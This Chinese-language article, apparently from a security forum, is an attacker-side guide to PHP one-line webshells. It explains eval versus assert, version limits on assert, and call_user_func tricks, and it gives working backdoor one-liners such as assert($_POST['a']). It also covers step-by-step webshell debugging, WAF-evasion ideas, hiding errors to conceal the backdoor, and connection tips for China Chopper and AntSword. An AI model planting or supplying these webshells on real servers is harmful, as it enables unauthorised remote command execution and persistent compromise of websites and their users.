在PHP一句话木马使用过程中的种种坑点分析
前言
在平时的学习和练习过程中,经常会遇到上传的一句话木马无法执行我们的命令或者说能执行命令但是不能连接菜刀蚁剑等webshell管理工具,以及各个版本PHP所限制的一些一句话木马的写法,不同版本webshell管理工具无法连接一句话木马的情况,所以打算仔细的了解一下其中的缘由。
什么是webshell
简单来说,webshell就是一个以网页形式存在的webshell,或者叫做网页后门。一句话木马,小马,大马这些都可以叫做webshell。一句话木马就是只需要一行代码的木马,虽然一句话木马为了绕过waf的检测,出现了很多的变形,但是本质是不变的:木马执行了我们发送的命令。
一句话木马中eval和assert的区别
- eval 是一个语言构造器而不是一个函数
- PHP eval() 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
- 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
- 在一个php文件中,eval执行完就会结束,所以当同一个php文件中有多个eval的时候,只会执行第一个。
- assert 是一个函数,assert 这个函数在 php 语言中是用来判断一个表达式是否成立。返回 true or false;assert 函数的参数会被执行,这跟 eval() 类似。
assert函数在不同php版本中的限制
在php 7.2的版本说明中,我们发现,对assert()函数传入字符串参数已经被禁用,在8.0版本的时候会被彻底删除。
但是,在这种情况下
<?php
assert($_GET['pass'])
?>
我们通过pass传入的phpinfo(),system('whoami')不是字符串,所以这种情况下是没有php的版本限制的。
那么什么时候会被这个版本所限制呢?
先说结论:call_user_func 与 assert连用时会受到此版本限制
call_user_func 这个函数可以调用其它函数,被调用的函数是 call_user_func 的第一个函数,其余函数作为第一个回调函数的参数。通过这种方法,可以实现过waf的一些操作。
使用回调函数写成的一句话木马对不同php版本进行测试
可以看到在php5.4和php7.0版本,这样不受限制正常传参进行命令执行是没有问题的。
但是在php7.3中,没有回先显。
可以看到,在php7.1版本也没有回显
当我们修改一句话中的内容得时候
<?php
@call_user_func(assert,system(dir));
?>
命令重新执行成功了。
这个原因就是,通过超全局变量 $_GET['']
获取的攻击者输入是字符串,这样传入assert函数就触发了禁用。但是直接assert(phpinfo())传入的参数是函数,所以就不会触发函数禁用,可以正常回显。
得到结论:
这个禁用特性经过我的测试是从 php 7.1 版本开始的,并不是 7.2 版本才开始(在我本机是这样,师傅们可以在测试一下,但是道理是一样的)。所以 call_user_func + assert 构造的一句话木马在 php 7.0 版本及以下可以使用。在php7.0以上就不要使用这个组合了,以免出现问题。
说到call_user_func这个函数,在这里多提一点,call_user_func是不能调用eval的,这是什么原因呢?
在这里,再把上面的话重复一边
使用call_user_func,他的第一个参数是要求是函数,而 eval 是一个语言构造器而不是一个函数,不能被可变函数调用。
如何构造WebShell
木马的构成无非就是两部分:
- 接收攻击者输入的参数
- 命令执行函数
在对一个webshell进行调试的过程中,一般采用下面的方法,逐步进行
- 把函数写在 php 文件中,看能否执行
- 写成
$_GET['']
方式传入命令,看能否执行 - 写成
$_POST['']
方式传入命令,能能否执行命令
当然2、3步可以合成通过$_REQUEST['']
方法传入命令。通过这样逐步调试的方法,虽然有些笨重,但是效果还是比较好的,可以清晰的知道,是因为传参问题还是因为本身命令执行函数的问题导致木马失效。
在这里补充一个坑点
有些版本的中国菜刀连接php一句话不支持assert,老版本可以
既然老版本菜刀可以连上php的一句话木马,新的版本连不上。那么,就会想到可能是在菜刀连接一句话木马的时候,中间会由于编码问题导致连接失败。当然在后边的操作中证明这个猜想是错误的。
在使用wireshark对不同版本的连刀进行抓包的过程中,会发现post发送的三个变量中,只有第一个变量是不同的。其余两个变量都相同。那么,很显然,问题就出在第一个变量中。在新的版本的第一个变量中,存在多条语句,而老版本的变量一里面只有一条语句。
考虑到,既然eval的一句话可以使用,而assert的一句话不能使用,那应该是eval和assert用法不同造成这个问题。通过文档可以发现assert是判断一条语句是否为FALSE(注意只是一条),而eval是把当前字符串作为代码执行(可以是多条)。
得出结论:
由于assert的单个语句的限制和新版菜刀第一个变量是多条语句导致assert的一句话新版菜刀不能使用。
它所造成的影响是所有assert的一句话在新版本的菜刀中都不能用,但可以使用老版本。
(这里的新版本指的是20141213,老版本测试的时候用的是菜刀1.0)
bypass WAF
WAF 通常以关键字判断是否为一句话木马,但是可以通过对一句话木马的变形,动态调用,隐藏或者替换关键字,达到绕过WAF的目的。所以想要绕过 WAF,就需要掌握各种 PHP 小技巧,掌握的技巧多了,把技巧结合起来,才可以设计出符合当时环境的一句话木马。
有关具体可以bypass的一句话在这里就不做罗列了,网上有大量的学习资源,社区以前的文章也有过专门分析如何绕过waf的文章。(传送门)
好多朋友在学习过程中常会收集一些tips,通过这些tips可以让自己的渗透和挖洞更高效。但是攻防始终是动态的,不可能死吃以前的tips,本着学习的态度万变不离其宗,不断地收获小技巧又不断地消化小技巧,才能写出自己的一套高质量tips。
关于bypass的思想和方法,在这里我贴上P神的文章(创造tips的秘籍——PHP回调后门)其中讲了一类名为回调后门的一句话木马。其中的思想至今仍然是可用的,非常值得学习。
在写一句话木马时候,建议大家在eval,assert前面加上@
,虽然对执行结果本质上没有什么区别,但是@
的作用是忽略可能出现的错误。这个小细节可以更便于木马的隐藏。
一句话木马在连接webshell管理工具的时候常出现的坑点
对于webshell管理工具,常见的有以下十类:
1.中国菜刀
使用方便,小巧实用,凡是支持动态脚本的网站,都可以使用中国菜刀进行管理。UNICOODE方式编译,支持多国语言输入显示。
2.蚁剑
开源,跨平台的网站管理工具,插件很丰富,平常使用最多的webshell管理工具。
3.C刀
跨平台基于配置文件的中国菜刀,所有操作由用户来定义
4.冰蝎
动态二进制加密网站管理客户端
5.Xise
6.Altman
7.Weevely
8.QuasiBot
9.Webshell-Snipe
10.WeManager
上边的工具,仁者见仁智者见智,适合自己的就是最好的。我平时用的最多的是蚁剑,其次是菜刀。这里分享一下我在使用菜刀和蚁剑遇到的坑点。
新版本菜刀:
上文提到过,在新版本的菜刀不要连接assert的一句话。由于assert的单个语句的限制和新版菜刀第一个变量是多条语句导致assert的一句话新版菜刀不能使用。
蚁剑:
首先是蚁剑的安装,下载后在对蚁剑进行初始化的时候要注意两点:
1.安装路径必须是全英文路径
2.使用管理员身份打开并进行初始化,否则会遇到下载失败以及代码解压失败等bug。
在蚁剑连接一句话木马的时候
尽量不要使用default和random编码器。使用default有些时候会连不上马,使用random则可能导致连马失败或者连马的等待时间过长。可以使用base64等其他编码。
举例:
<?=1;assert($_POST['a']);?>
总结:
本文所涉及的内容包括:
- 一句话木马中eval和assert的区别
- assert函数在不同php版本中的限制
- call_user_func + assert组合的使用条件
- 如何构造WebShell
- bypass WAF的思路
- 新老版本连接菜刀出现的问题
- 一句话木马在连接webshell管理工具的时候常出现的坑点